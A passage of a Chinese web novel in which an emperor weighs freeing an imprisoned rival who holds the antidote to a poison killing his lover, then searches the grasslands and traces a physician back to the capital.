他见着上头是被划出的一道道粗细不一的划痕,不明所以,又缓缓转回眼来。 对上了李锦殊饶有兴味的眼神。 李妄迟冷笑着嘲讽道:“李锦殊,这半个月只有你一人在地牢等死的感觉如何?” 李锦殊缓缓勾起唇,看着他的神情未变,举手投足比刚入狱的时候还松弛,“还不错。” 他缓缓向后一靠,笑意渐浓,“一想到两个月后有人给我陪葬,我就高兴。” 他对着李妄迟时眼神挑衅,还带着一丝探究。李妄迟似是察觉到他话里话外的隐喻,冷着语调道: “什么意思?” 李锦殊好整以暇,缓缓启唇道:“沈棠雪要死了吧?” 轰! 这一句话宛若平地起惊雷,将周遭空气都霎时炸开! 李妄迟盯着他的眼神宛若要将其剥皮抽筋,周遭的气压骤然低沉,看着他的眼神泛着极深的冷意,浑身杀气难掩。 面对着这样的眼神,李锦殊丝毫不慌,笑吟吟地补充道: “我不仅知晓他要死了……我还知晓,杜余草缓慢地侵蚀人的神智。” “最后……他会连你都认不到。” 李妄迟感觉自己的心都被揪了一下,沉声问道:“你到底想说什么?” 李锦殊笑道:“我有解药。你要么?” “你要换什么。” “放我走。”李锦殊毫不犹豫地答。 “……你做梦。” 李锦殊一愣,没想到他拒绝得这么干脆,霎时又哈哈大笑起来, “那便算了……左右两个月之后沈棠雪也要一并去死。我生前折磨他这么久,如今连死期都与他一起……不亏。” 李妄迟瞳孔紧缩,下一秒李锦殊狡黠地看着他, “如此这般……不好受的应当不是我吧?” 李妄迟的心中霎时窜起一阵怒火,冷眼看着方才有划痕的壁面时,心头一阵恶寒。 李锦殊对杜余草的毒效了如指掌……他早便猜出他会走投无路来此寻他?所以他这壁面上划的是什么? ……沈棠雪的死期? 在草原的三年……他折磨阿雪这般多,如今竟还想着与阿雪同死? 他、做、梦! 李妄迟缓缓攥紧了袖中的手,身体都气得不住发抖,几乎有想将人立即杀了的冲动。 可眼下他别无退路。 眼见着阿雪一日日衰败下去,毫无好转迹象,如若要救他……他也别无他法。 此时李锦殊当真杀不得。 李锦殊似是看穿他的犹豫,挑了挑眉毛,有恃无恐地往前凑了一凑,故意捅他心刀道: “当年他在我床上都在喊着你的名字……对我虚与委蛇,讨好欢愉,说下流情话,那时说不定还在想着你知晓真相后的冷眼……” “他多喜欢你啊,如今你竟连救也不肯救他?你便甘愿看着他就这般死去了……” “闭嘴!” 李妄迟咬着牙发颤,不知是因着他话中同沈棠雪旖旎的言语还是阿雪快死的讯息。 他死死地紧绷着脑子那一根弦。脑子嗡嗡的,面对着几乎和挑衅一样的话语,思绪混乱。 可想到阿雪那般脆弱的模样,他心上的天平又骤然逆转,几乎要松了口。 ……他不惜一切也要换沈棠雪一条命。 可恍然间,他又倏然想起阿雪那一夜醉时,迷离着眼神执意要向他讨一个“李锦殊一定要死”的保证时…… 那样执着的眼神。 ……如若放李锦殊走,他不会高兴。 李妄迟将指甲嵌入皮肉,又换作一言不发。他深吸了一口气,连气息都在颤抖,不住地让自己冷静下来。 再想想法子……一定会有法子…… 至少……同阿雪说一声。 …… 出地牢时,李妄迟一股忐忑不安的心情涌了上来。 他的心都纠成一团,或快或慢地怦怦直跳,眼神望去时,倒显得有些神情阴鸷。 “吱呀——” 入屋时,沈棠雪正好醒着。李妄迟见着他睡眼惺忪的模样,缓缓温柔下眉眼来,强忍下心中思绪,抬步朝他走去。 “妄迟?” 沈棠雪丝绸般的乌发垂落在榻上,手臂半撑着坐起,见他来,缓缓抬起手来要抱。 李妄迟的眼神顿时温柔下来,伸手将他揽入怀中。 沈棠雪揽着他的脖子靠在他的肩头,轻轻放松下身子,却又嗅了嗅,闻到带着些铁锈潮湿的阴冷气息。 他缓声问道:“去哪啦?” 李妄迟一时不知该说什么,半晌,沙哑地开口道:“……我去见了李锦殊。” 沈棠雪一愣,靠在他脖颈时的呼吸都变得轻缓,下一秒便听李妄迟说: “他……有杜余草的解药,能救你。但他的要求是放他……” 李妄迟还未说完,便被他猛地打断,“不行!” 李妄迟一愣,抬眼看向沈棠雪,对上了他定定望向他时不容更改的决绝眼神。 那一双眼目光凝定,像是将此事此话绕在心头想了许久、思索许久。 毫不留情回绝的语气又像一把刀,将他刺得鲜血淋漓。 ……他早就知晓此事? 李妄迟一愣,心中顿时升起一阵荒谬来,颤抖地问道:“阿雪……你早就知晓李锦殊有解药?” 沈棠雪霎时沉默,形容默认。李妄迟感觉自己脑内的弦顿时断了。 为什么沈棠雪不将此事告诉他?为什么又将他瞒在鼓里? 明明他也知晓如今别无他法,明明他也知晓自己只有两个月的寿命…… 事已至此,只有李锦殊那里还存有一丝生机,为什么……不试试? 难道他就当真恨李锦殊恨到这般,宁愿同归于尽也不肯让他有一丝活路吗? ……那他呢? 对沈棠雪来说……他又算什么?在他毅然决然选择放弃生机的时候有想过他吗? 李妄迟缓缓抓住他的手,红着眼圈不解地问道:“阿雪……你有没有想过,如若你死了,我该怎么办?” 他强忍着咽在嗓子里的哽咽,崩溃地将其攥得死紧,连指腹都抓得有些发白,语气嘶哑得几乎发不出声, “你凭什么不让我知道?凭什么……擅自背着我做这个决定?” “我……” 沈棠雪似是才想到此处,清冽的眼神霎时清明了一瞬,像是因着他的话动容,连指尖都蜷了一蜷。 他顿住了很久,望着李妄迟的眼神幽深,却又闭了闭眼,半晌想到了什么,眼神渐渐又恢复凝定。 ……李锦殊必须死。 他是被仇恨蒙了眼的人,不愿给李锦殊一分翻身再起的机会。 刹那间,李妄迟感觉心都空了一拍。他缓缓看着沈棠雪的眼神,轻呵了一声,终于认清了于他而言…… 他是排在仇恨之后的事实。 想到李锦殊说的“连死期都与他一起”这件事可能当真要成了真,李妄迟就感觉心被一只无形的手攥紧,揉捏得发疼。 他闭了闭眼,强忍下心中思绪,语气嘶哑道: “阿雪,先向他拿解药……我们再想办法好不好?诓骗也好,威逼利诱也好……我答应你,不叫他活着……” 李锦殊本就是要死之人,阿雪又何必搭上自己一条命? 沈棠雪的语气放得轻,也不知是否动容, “妄迟……他是一个很狡猾的人。只要有一丝放虎归山的可能,后果不堪设想。” 将草原的人除去,李锦殊未必没有余党。倭寇也好,哪里也罢,因着他仓促入狱,联系不到外部,如今尚为稳妥。 但倘若放虎归山,一丝时间便是一丝变故。 他不想李锦殊有一丝一毫还能活着的可能。 李妄迟也不知听进去了几分,瞧着沈棠雪日渐消瘦的面容,袖中的指尖都要嵌入掌肉里头。 放虎归山便放虎归山了……他能抓李锦殊一次,也能抓他第二次。 但沈棠雪……没有第二个了。 只要他活着,一切都可以从长计议…… 他不能眼睁睁看着沈棠雪飞蛾扑火。 李妄迟缓缓闭了闭眼。只要沈棠雪活着就好…… 他还是要去和李锦殊谈谈。 第30章 第三十章“左右……我也是将死之人。…… 沈棠雪再醒时,李妄迟已经不见了。望着冬日暖阳缓缓洒下的斑驳地面,他缓缓下榻,只身穿白色里衣向外走去。 一出门,一阵冷气侵袭而来。徐公公正应李妄迟的要求守在门外,见他这般打扮便往外走的模样惊慌失措地道: “小贵人——怎穿这般单薄便出来了?来人,还不快给小贵人披件衣裳……” “李妄迟去哪了?” 徐公公一愣,似没想到他出来是为了问这个,霎时眼中闪过一丝惊慌,支支吾吾地说不出个所以然来,并未回答。 沈棠雪眉间一蹙,定定地看着他这副模样,倒是警觉地微眯起了眼。 平日时候徐公公一直是伺候御前的,也鲜少到他这来,今日这般紧紧看护到模样……倒像是把风的。 有什么是徐公公不能说的?是李妄迟有要事要做,不便告知行踪;还是…… 有什么事不能告诉他知晓? 沈棠雪定定地看了徐公公片刻,似是想到了什么,眼神一冷,径直向外走去。 “小贵人……你去哪!” 徐公公见他走得急,顿时在身后惊慌失措地大喊,却并未得到回应。 沈棠雪款步走至侧屋,抬手披了件轻巧些的披风。 沉思之间,他又垂眸望向椅凳上被他闲置许久的泛着冷光的匕首,伸手将其也攥在手心里,匆匆而去。 “滴答,滴答。” 穿过地牢,一阵阴冷的气息往披风里灌,沈棠雪皱了皱眉,下意识地别过脸去咳了一下,便又听耳边骤起一阵阵哭喊哀嚎。 他被闹得头疼,伸手疲惫地揉了揉太阳穴,定定地往前走去。 李锦殊的牢房极远,他本想着远远地往那一望,如若李妄迟并不在此处,那他便松口气转身就走。 却没想到,走近之时,当真见着了那两个熟悉的身影。 李妄迟身着锦衣,发冠梳得齐整,正背对着他与李锦殊说着什么。 李锦殊气定神闲地半靠在牢房后的壁面上,带着讥笑的嘲讽语气看着他。 见着沈棠雪的身影,李锦殊似是眉毛挑了一下,视线若有似无地望了过来。 他勾了勾唇,似刻意地转眼向李妄迟确认道:“你当真要放我走?” “是放你走,但是你的解药……” 下一秒,只听一道清泠泠地声音于他身后响起,“妄迟。” 李妄迟身子一僵,有些诧异地转过头去,便看见了沈棠雪只身站在身后的身影。 他顿时一股恶寒窜上心头。 ……方才李锦殊是故意问出那句话的。 沈棠雪那一双眼幽深凝定地看着他,眼底思绪万千。 他只身站在阴冷的地牢之中,分明显得苍白得脆弱,可他的身形挺拔,长身而立,那样执着的模样又如寒间绽放的梅,像是任何事情都不能让他堪折一分。 沈棠雪定定地站在那里,又说了一句,“不准放了他。” 沈棠雪的眼中是毫无动容的冰冷,李锦殊一愣,哈哈大笑,扬了扬眉毛暧昧地对他道: “到底是共处了三年的老情人……阿雪,你怎么这么绝情?” 这样耐人寻味的话语让沈棠雪心起一阵恶寒,他眼神一紧,看着李锦殊的眼神愈发泛着冷,连袖中的手紧紧攥起。 他紧蹙的眉间含着无尽的厌恶之意,沈棠雪面色冰冷,连呼出的冰冷鼻息都带着颤抖的怒意, “李锦殊……你罪该万死。” 李妄迟生怕他动怒伤了身子,慌忙要上前去,下一秒便见沈棠雪眼神凝定,先行一步一步缓缓走来。 沈棠雪身着白衣,轻巧的披风长到地面上,像圣洁的尾。他的神情不变,眼底冷意却暗了几分。 电光火石之间,他从袖中掏出一把泛着冷光的匕首,猛地向李锦殊刺去! “阿雪!” 李妄迟的思绪还在想着解药的事,此时脑子嗡了一声,下意识本能地眼疾手快上前去。 在匕首刺入李锦殊胸膛的前一瞬,攥住了沈棠雪的手腕! 匕首在空气中泛着尖锐的冷光,本要一击毙命的攻势戛然而止—— “阿雪……”李妄迟有些颤抖地喊道。 沈棠雪缓缓转过眼来,转眼看着被他攥入手中的细瘦手腕,眼中是漠然的光,冰冷地说道:“你拦我。” “我……” 看着沈棠雪这样毫无波澜的眼神,他感觉心脏仿若被一只无形的手攥紧了,连话都要说不出。 “你不让我杀了他?” 李妄迟手一松,抬眼对上沈棠雪的眼神。 沈棠雪的脸蛋愈发苍白瘦削,因着病气未消,如今又带着几乎要迸出脆弱躯壳的执着凝定,倒有些叫人不敢触碰。 他张了张口,想心疼地说些什么,可话语都堵在嗓子里,眼神黯然了一瞬,缓声劝道: “阿雪,如今只有李锦殊有解药……” “解药……”沈棠雪惨笑一声,转眼看向一脸戏谑的李锦殊,语气逐渐低沉,“为了解药放他走,倒不如我死了。” “左右……我也是将死之人。” 披风上的绒毛衬得他的肌肤更加肤白如雪,此时因着病气又添了几分苍白。 沈棠雪自嘲地嗤笑一声,话音未落,将匕首架在了自己的脖颈上,轻微一动。 “唰——” “阿雪!” 滴答,滴答。 霎时,血液喷涌,本就苍白得血管清晰可见的脖颈被刺出一道浅长的血痕,于白皙的肌肤上显得极为刺眼。 沈棠雪面色不改,定定地看着李妄迟,好似这样才能让他放弃劝解一分。 李妄迟脸色惨白,嘴唇大幅度地颤动着,霎时僵在了原地,脑子嗡嗡的,怔怔地看着沈棠雪,紧接着听见他轻缓地说: “妄迟,李锦殊这么狡猾的人,能够这般气定神闲地在这,必定不止只有‘有杜余草解药’这一筹码。” “如若真的放他走……那才是中了他的计谋。”沈棠雪转眼对上李锦殊面色阴沉的眼神,冷笑一声,“是吧,李锦殊。” “至始至终……我也还是你的一枚棋子而已。” 这话是他猜的,但以他对李锦殊的了解,十有八九便是如此。 他丝毫不惧,果不其然对上了李锦殊变了一变的脸色。 证实落到实处,沈棠雪心上一沉,正欲转过头去和李妄迟说些什么,却见李妄迟正紧紧盯着他流出血来的脖颈。 缓缓红了眼眶。 李妄迟缓缓向他走来,眼底的神情几乎要崩溃得崩塌。凑近之时,小心试探地将他的匕首夺去。 “嘭!” 匕首被丢到地上,瞬间被小心搂住身形的时候,沈棠雪瞳孔微愣,能感觉到李妄迟的脊背都在发抖。 “阿雪……” 他的语气有后怕的颤抖,像是丢盔卸甲,什么都不要了,什么也都不想了,只在他耳边颤声道: “我不放他走了好不好?我听你的……你别这样……” “你别这样对我……” …… 回来之后,李妄迟一直一声不吭。 沈棠雪摸了摸自己脖颈上一直被他盯着的浅痕,也似有些懊恼,“妄迟……” 李妄迟却只是对他笑笑,脸上没有怒意,只是疲惫地缓声说道:“睡吧。” 夜光凝凝,睡梦之时似有人喟叹一声,像是怕他跑了一般紧紧地环上他的腰肢,紧紧地将头凑到他的颈窝,轻轻呢喃。 忽而又有嘶哑的交代声和带着怒意的冷喝声,半晌似又怕吵醒了他,声音渐低。 沈棠雪于梦中听着,蹙了蹙眉,迷迷糊糊的。再醒时,没想到李妄迟依旧靠坐在床沿。 他似是熬了两夜没有睡,眼睛通红,看着他的眼神有些疲惫,带着些忧虑的恍神。 他的眼神上下环视过他瘦削的脸颊,霎时又有些被什么刺痛了的黯然,嘶哑地喊道: “阿雪。” 沈棠雪见他这副模样,感觉心都被揪了一下。 他小心试探地伸出手去,抚上李妄迟的脸颊,却被他猛地抓住了手腕。 将掌心轻轻搭在了他的侧颊上。 李妄迟缓缓闭上眼,轻缓地呼吸着,似被他掌心的热度安抚了两分。 可再睁眼时,看着他的那一双眼缓缓涌起了一丝无能为力的苦痛。 他无助地嘶哑开口道:“阿雪……我好像真的别无他法了。” 什么? 沈棠雪一愣,便见李妄迟缓缓凑近,定定地盯着他。 他的瞳孔通红得悲伤,嘴角不自觉下瞥,紧紧地抿着,像是几乎要压不住情绪。 半晌,只听窸窣布料摩挲之声,李妄迟倾身过来将他紧紧抱住,嗓子像是被堵得紧紧的,发出无可言说的闷声, “阿雪……” 滴答。 沈棠雪感觉手背一烫,颤了颤眼睫转眼望去,便见一滴温泪直直落下,缓缓滑落晕开,于他的手臂……滚烫烧灼。 耳边人哽咽地说道:“我想了两日……可是还是没想到救你的法子……怎么办?” 30-40 第31章 第三十一章……沈棠雪的身子不能再拖…… “陛下。” 殿内气氛压抑,李妄迟批奏折时面色沉沉,眼神似还带着无情的冷意。 徐公公站在殿外被低沉的气压一骇,有些不敢进去。 他踌躇地踱步半晌,定了定心神垂首入内,禀报道: “陛下……老奴已然按着您的吩咐将京城名医寻了个遍。” 李妄迟缓缓放下奏折,转眼望了过来,“结果如何?” 徐公公沉思片刻,额上冒了一滴冷汗,“京城无人听过杜余草……更无解药的消息。” 李妄迟闭了闭眼,深深呼了一口气。 这两日他也问了许多人,但中原人并未接触过此物,石沉大海也是意料之中。 只是如今当真证实此事,他的心里还是黯然了一瞬。 徐公公端详着他的神情,“昨日您交代的物什已准备好了,如若您要出城去寻,小贵人那边……” “我会派人照顾着。”李妄迟闭眼揉了揉太阳穴,“……知道了,下去吧。” 待徐公公走后,他缓缓抬眼看向殿外阳光洒落的斑驳痕迹,目光凝凝。 如今沈棠雪日渐消瘦,京城没有法子,他也得另想出路。 杜余草是草原之物,说不定周围小镇有人多多少少听过这种草药。 万一有人恰巧知晓药理,懂得这个毒要如何解呢? ……万一呢? 只要有半分可能,他都要去看看。 沈棠雪的身子,不能再拖了。 他的目光逐渐凝定,看着殿外徐公公将他昨日交代出城的物什已然置办好,立即向外走去。 此时马匹已然等在殿外。李妄迟一勒缰绳,利落翻身上马。 他伸手叫人拿了他辰时特意圈点好的草原地图来,孤身一人往城外去。 城中熙攘,先是人声鼎沸,后又在出城后声音渐小,只余树叶窸窣晃动和松雪掉落之声。 李妄迟微眯着眼,寻找着方向。 李锦殊当时驻扎的地方为云州,四面共有三个小镇。 其中两镇已然在数年前之时便被倭寇与李锦殊之辈收买,与京城联系稀少,城中非倭寇者寥寥。 另一小镇三年前处于草原与京城管辖之间,李锦殊入狱后,更是彻底收归京城。 如若他要问,去那个小镇是最为合适。 他敛眉思索片刻,便朝着右侧小道策马而去。 小道颠簸,人迹罕至,时不时响起几道清脆鸟鸣,随即直直步入一片森林,见着银装素裹的美丽景象。 李妄迟却无心想着这些,只余马蹄陷入薄薄雪面上的细微声响。 路途遥远,他没日没夜地跑了五日,目不转睛,可却在草原的轮廓映入眼帘时,愣了一下。 他才惊觉草原也是那个小镇的必经之路。 无人的草原荒草从生,被落雪笼上了一层灰暗的白。一顶顶帐篷已然无人居住,荒废许久,呈现一道孤寂景象。 李妄迟沉默了很久,还是抵不过情感使然,环视一圈拴好马,抬步朝着帐篷群走去。 这些帐篷有高有矮,颜色不一,而此时这些颜色都已然被松雪覆盖了,全变为了无一的白,只余帐篷最里的底色隐隐约约透出来。 就像草原的人随着利落的斩首一样……经年的计谋罪孽全数成了空。 透过高矮的样式,能看出当时的等级排列。他一望便知那最大的辉煌帐篷的所属,厌恶地看了一眼,兴趣缺缺。 随即他像是在找寻什么,目光流转,在视线落到了左后方的小帐篷上时,屏住了呼吸。 小帐篷通体是干净的白,隐约似是绣着金色的云纹,显得小巧精致,可又无端透出一种孤寂来。 ……这便是他们曾经说的沈棠雪的帐篷。 他转过脚尖向小帐篷走去,双脚却莫名跟灌了千斤重一样,抬不动脚步。 沈棠雪当时……住着什么样的地方? 思绪之间,小帐篷近至眼前。李妄迟恍然抬手,伸手抹去帐篷上的积雪,深深吸了一口气。 他伸手握拳攥紧那顶小帐篷的帘子,将那冰凉脆弱的布料紧紧揉在掌心。 不知手指攥紧了多久,他才心一狠,猛地掀开了帘子。 “唰拉——” 一股孤寂的枯草气息扑面而来,混着帘子掀开时裹挟进帐篷的风雪,显得更为萧瑟。 帐篷内空落落的,已然没有了生活的气息。顺着视线望去,能将内里一览无余。 没有金碧辉煌的东西,都是些不值钱的小玩意。帐篷里或堆放着的笔墨纸砚,或歪歪扭扭的陶罐。 可这些东西却被主人家悉心护着,连一株已然枯萎结冰的兰花都被小心安放,置于有光的地方。 ……像是帐篷的主人在努力生活,在草原中小心地呵护着自己仅有的一隅小小天地。 李妄迟心上一揪,缓缓握紧了藏在袖中的手。 转眼看着帐篷四周的帐面之时,心中涌起一阵酸涩之意。 这顶小帐篷经不起风吹雨打,已然有些漏风了。冬日冷风吹起破旧的布料,发出嘭嘭的细小摩挲声,如一阵一阵催人的鼓点打在人的心上。 下了雨,这些风又会化作一滴滴急急雨点,落在枯草中化作一洼泥泞水池,渗透进帐内。 那湿冷的水汽便会顺着空气渗透进本就身子不好的沈棠雪的骨头里—— 叫他雨天蜷缩起身子,像只脆弱的独自舔舐的兔子,闷声地默默在这小帐篷里承受这一切。 李妄迟顿时感觉心脏都被揉碎。 阿雪这三年经脉断裂,本就伤了根。如今却告诉他,他在冬日之时……也是在这种地方过的吗? 沈棠雪…… 他几乎不敢再想,恍然地将手死死地按在柜子上,几乎就要狼狈地夺门而出,不敢再看这帐篷中的物什。 移动时,手却碰到了一个冰冷的小巧陶瓶。 毫无光芒的哑光质感让它隐在一众物品之中,无甚存在感,显得灰扑扑的。 触碰之时却好似留有那人的体温。 李妄迟有些愕然地将其拿起,环在手心,微微一晃—— 咚拢咚拢。 药丸在瓶内碰撞发出闷闷的声响,他连忙拔开瓶盖向内探去,看见了瓶内安静放置的数十粒药丸。 瓶内只空了三分之一…… 瓶身被人摩挲很多次,又放在靠近床榻的柜子上,想必是用了很久。 可草原空无一人,也无人再来,瓶内药丸满满当当却又无人带走…… 什么意思? 李妄迟的脑子嗡嗡作响,好似抓住了一个让他更加心碎的消息。 ……沈棠雪当时没有带药回京,是不是? 他的身子本就脆弱至此,只身回京城之时,甚至没有带药。 他那时当真没想着来见他,也真的打算…… 只活三个月吗? 他看着这些如同生机一般被沈棠雪弃之敝履的药丸,心中一阵后怕,眼眶缓缓红了。 他颤抖着手,缓缓将药瓶小心地放置好,闭了闭眼,恨不得下一秒便飞回京城去。 可是不行,阿雪还在等着解药,他得有解药…… 他不能让他真的就只有三个月了。 李妄迟定了定心神,强忍着想要立即奔回去的冲动,走出帐篷,正欲策马继续向前,却又倏然止住了脚步。 他转头看着其他帐篷,眼神发冷地微眯起了眼。 既然李锦殊知晓杜余草的解药是,那或许曾经草原也有人知晓解药为何。 当初他携军攻打得猝不及防,草原溃不成军之时,无人有时间掩藏物什。 如若帐篷内当真有线索……如今应当还找得到。 万一有呢? 李妄迟寻思着,环视一圈寻找着探寻的目标。 李锦殊为人谨慎,应当不会藏着什么有用信息。但他手下的人就不一定了。 他缓缓往前走去,最终将视线定格在一顶瞧着主人家便是镶金戴银的帐篷,缓缓走了进去。 一进帐,一座巨大的镶金佛像映入眼帘,被刺进的阳光照得闪烁着刺眼的光芒。 李妄迟眯了眯眼,便见帐内金碧辉煌的景象。 里头挂着的帘都带着金线,柜上全是一些昂贵物什。倾斜的帐面上似还挂着凹凸粗糙的骷髅战利品,主人似是对此洋洋得意。 李妄迟皱了皱眉头,忍着恶心向内走去。只见屋内尽头桌案凌乱,笔墨纸砚什么都有,凌乱地杂成一团,毫无章法。 他伸手翻了翻桌案上的东西,随意地翻开一本羊皮日记,结果在看见其中内容时,愣了一下。 第32章 第三十二章解药去了京城 “京城又派人打过来了……该死的,苏砚白带走了一大批人,还有不少医者……害得如今草原伤亡惨重,都是在强撑!” “他妈的……白眼狼!早知道在那群人刚来草原的时候就该都杀了!” 李妄迟眼神一凛,按着纸面的手指缓缓滑向日记上记着的日期。动作顿了一顿。 上面写着的……是他战胜之前最后一次攻打草原时发生的事。 那时,战势紧迫,李锦殊携倭寇一众东躲西藏,行踪狡猾。却在一日晨时动作变缓、显出慌乱疲乏之像。 他那是觉着不对,以为是他们诱敌深入的诡计,按兵不动地探查许久…… 没想到当中真的有一段不为人知的事。 当时……草原内部起了分歧? 他定了定神,瞧着日期继续将纸页往前翻,果不其然看见了记录着的事情的来龙去脉。 幽瑶镇与灵犀镇本是收归于京城的地方,四年前,却被李锦殊设局联合倭寇进攻,利用倭寇的名义将其收入囊中。 李锦殊装作一副好人模样如愿以偿地将两镇无家可归的能人异士收留在草原,收拢人心,哄骗着他们干了许多事。 但那些人并无坏心。 两年后,见着李锦殊的残暴模样逐渐暴露,他们不满,与其有了分歧,暗中预谋不知多久—— 在一日草原之人放松警惕的夜晚,全数散至了个干净。 李妄迟眼神凝定,将日记中埋怨的话语细细看了一看,大致知晓,当初许多不愿待在草原之人,都随着名为“苏砚白”的人一并离去。 其中不乏一些懂药理的能人异士。 ……但那般多的人不论路上用粮还是临时定居,都会引人注目。 更何况他们既是从草原懵懵懂懂跑出来,不可能背着李锦殊商量得面面俱到。 有极大的可能,他们并未跑得很远。 草原一面环山三面环镇,抛开已然被倭寇占领的两镇不谈,与京城交流甚密的隐云镇是最好的去处。 李妄迟本就要去此地,想到此,他的心都猛地跳了一下,随即才缓缓平静了一分。 他深深地吸了一口气,转头拿着羊皮日记出了帐篷。 草原的冬风吹拂面颊,冷得刺骨,他却感觉心中涌起一阵暖意。 他转头望去,见着草原最边缘的深处隐隐约约的废弃帐篷,心中愈发确信日记中之事,心神定定,转头勒马往隐云镇去。 隐云镇路途不远,不过半日,便能看见稀稀疏疏的房屋。一路上沿途风景渐渐繁荣,生活气息愈来愈足,与草原截然不同。 沿途有客栈,其中隐隐约约传来欢声笑语,等到了镇上,人声鼎沸,喧闹平和景象与京城不相上下。 李妄迟缓和下眼神来环视一圈,见着百姓当真安居乐业,才放心地朝着县令府奔去,去查通关文牒。 “陛下,这便是两年前记录入镇通关文牒的册子。” 县令听闻是他大驾光临,颤着身体几乎要跪下,忙不慌地找出册子给他。 他小心翼翼地抬眼看李妄迟,见他神色如常,才暗自松了一口气。 李妄迟长身而立,垂眸定定地翻阅着册子。一时,只余轻捻纸页翻折声。 倏而他微眯起眼,果不其然在册上找寻到了“苏砚白”三字。 同行者共有三十余人,于五个月前入镇。 按着规矩,也不可能一次性放这般多同行人入镇才是。苏砚白他们是怎么进来的? 他暗自朝县令看了一眼,缓缓用眼神端详着,随口问道:“怎的会放这么多人进镇?” 县令心中咯噔一声,顿时扑通一声跪下了,哆嗦着身子凄厉地道:“臣罪该万死——!” 话已至此,李妄迟不过一瞬,便知县令应是收了他们的银子。 他若有似无地将人打量一圈,并未明说是否追究,启唇道: “朕问你答,答得好了,过往不咎。如若不好……” “臣一定知无不言!” 县令冷汗直冒,忙不慌地保证着,生怕他怪罪,一问一答时,主动吐露了关于苏砚白一行人的很多事。 苏砚白一行人来自不同的地方,于草原之前并不熟稔。他们秉着逃离草原的目的聚在一处,于隐云镇之后又散了去,并未待在一起。 这几个月,更是陆陆续续又出镇了许多人。 如今还不知有多少在隐云镇内。 县令干巴巴地道:“臣知晓一些人的住处,但近日出镇的人有许多,我知晓的那些人……也不一定还在镇中。 李妄迟点了点头,心中有数。如今李锦殊入狱,草原尽散,大可不必再待在镇内。只是不知他能否寻着这些人…… 但哪怕小镇里只还留有一个人,他也要去碰碰运气。 …… “咚咚。” 李妄迟顺着县令给的地址寻上门去,轻轻叩了叩门。不一会儿,便听屋内传来脚步声。 只听吱呀一声,门扇打开,那人懒懒地拖长声调,“谁啊——” 随即与站在门口的李妄迟面面相觑。 那人身形高大,穿着一件宽大的粗布衣,右手袖子卷起,露出手臂狰狞的刀痕。 ……瞧着目不识丁,更别提知晓药理。 李妄迟默默将人打量了一番,试探地问道:“你认识李锦殊么?” 高大男子霎时变了脸色,猛地扣着门正欲关上。李妄迟眼神一亮,知晓找对人了,紧紧按住了门扇。 他解释道:“我是京城之人,与他并无关联。……李锦殊已然入狱了。” 高大男子一愣,似也隐隐约约听见过李锦殊入狱的消息,闻言打量了他一番,微不可察地松了一口气,半晌才道: “进来吧。” 屋内朴素,只余一桌案、两张椅凳、两张窄小的小榻而已。 李妄迟眼神环视,只见还有一身形瘦小之人怯怯地站在一旁。见他进来,胆怯地躲在高大男子后面。 高大男子面色自若地给李妄迟倒了一杯热茶,对着他解释道: “别介意,我兄弟怕生,如今这里只有我两相依为命,他又怕是李锦殊的人找上门来,才这样。” 李妄迟点了点头,又思索着他话中“只有他们二人相依为命”之事,顿了一顿,问道: “曾经与你们一并从草原来的人呢?都走了么?” “嗨……别提了。大家奔着逃离草原的主意,一出来便分道扬镳讨生活去了。日子不好过啊……不过幸好,还留了一条命。” 李妄迟沉默了半晌,问道:“那苏砚白也走了么?” 从当时那本日记之中,能够知晓苏砚白既是这些人里较有威信之人,也是最知晓药理的医者。 如今镇上之人太过零散,要找寻合适问询的目标也难,如若能找着苏砚白……是再好不过。 高大男子猛地抬起眼来,嗓子一紧,诧异问道:“你还知晓苏砚白?你是什么人……来做什么的?” 见着他因着这句话对他心起戒备,李妄迟沉默片刻,不知是否要将其全盘托出。想到沈棠雪那般虚弱的模样,他的心又揪上一揪。 如今找到的线索……眼前又是一团迷雾,他一面心存焦急,一面希冀,一面又有些害怕。 也不知沈棠雪在京城如何了…… 他缓缓叹了一口气,嘶哑着声音说道: “我……想向他问问关于杜余草的事。我的爱人只剩两个月的寿命了,我想看看……能否找到解药。” 他们本便是良善之人,不会袖手旁观。听到此,高大男子似也动容一分,思索道: “杜余草……这个我当真是知晓,在草原见过。” 李妄迟从思绪中抽离,眼前一亮,连忙问道:“那你可知解药是什么?” 高大男子作冥思苦想样,有些尴尬地挠了挠头, “解药……解药比较复杂,我们也只见过一人中此毒。小弟,你曾经听砚白说解药是什么来着?” 瘦小男子反驳道:“我怎么记得住?只有他钻研药理为多!” 被他这般一反驳,高大男子有些歉意地干笑两声,知晓他们二人帮不上忙。兜兜转转,还真得李妄迟去找苏砚白才行。 李妄迟见着他这副模样,又问道:“那你可知苏砚白在何处?” “我想想……”高大男子思索片刻,眼神一亮,激动道, “想起来了!他前半个月刚走,临走前还同我们喝了酒,说他要去什么城……小弟,他要去一个很繁华的什么城?” 瘦小男子瞪了他一眼,“京城!” ……京城? 李妄迟霎时一僵,脑子嗡嗡的,心中涌起一股荒诞之意。 苏砚白……去了京城? 在他碰巧往草原赶的时候? 他的心中怦怦直跳,藏在袖中的蜷缩指尖都发着颤,却在思绪流转时,带着一丝终于破开迷雾一角的轻快。 他连忙起身道了谢,往回赶去。 第33章 第三十三章为了我……你得活着。…… “大夫,大夫!我……我有钱!看看我家老母亲的病吧,她卧床半载了!” “给我儿也看看!他昨夜到今日高烧不退啊!” 京城的街道一如往常,却有一处插着望子的摊位格外热闹。 那摊位的望子上写着个大大的“医”字,队伍排着长龙,无数人挤破了头,焦急又期待地往前面望。 “你们在瞧什么呢?”有人不明所以,走近问道。 “没听说么?近日城中可是来了位神医!喏,就最前头那位——只要给足了银子,什么疑难杂症都能治!” “当真这般妙手回春?” “那是当然!苏大夫到京城以来七日都毫无败绩的!” 远远望去,摊位最前头有一位正将乌发随意绑着的医师。 他面容清瘦,神情却吊儿郎当,歪七扭八地靠坐在木板凳上,一面搭脉一面道: “一位一位来——不用急。喏,铜板放我右手旁的铜盆里。” 随着叮咚的清脆铜板入盆声响,医者笑意渐浓,低下头行云流水地写下药方。 随即又敛起神情,端得负责地轻声同病患交代着注意事项。 待几近正午,人潮逐渐散去,他才自顾自收拾着东西,准备离去。 “大夫,你的生意真是好。” 隔壁包子摊的王二狗同他搭话,艳羡得啧啧称奇, “前条街有家开了二十年的医馆,我都没见着他们生意这般好过!” 医师笑了一下,将盆里的铜板掂了一掂,随意地抓了一把塞到王二狗手里,拱了拱手道: “也祝兄弟财源广进!” 他利落地收了摊,将盆里的铜板都装进钱袋,哼着歌往饭馆走去,嘴里轻快地嘟囔着, “京城人有钱就是好……可比小镇好过多了!” 与此同时,沈棠雪那边也得到了消息。徐公公一听说此人,便派人下功夫去试探。 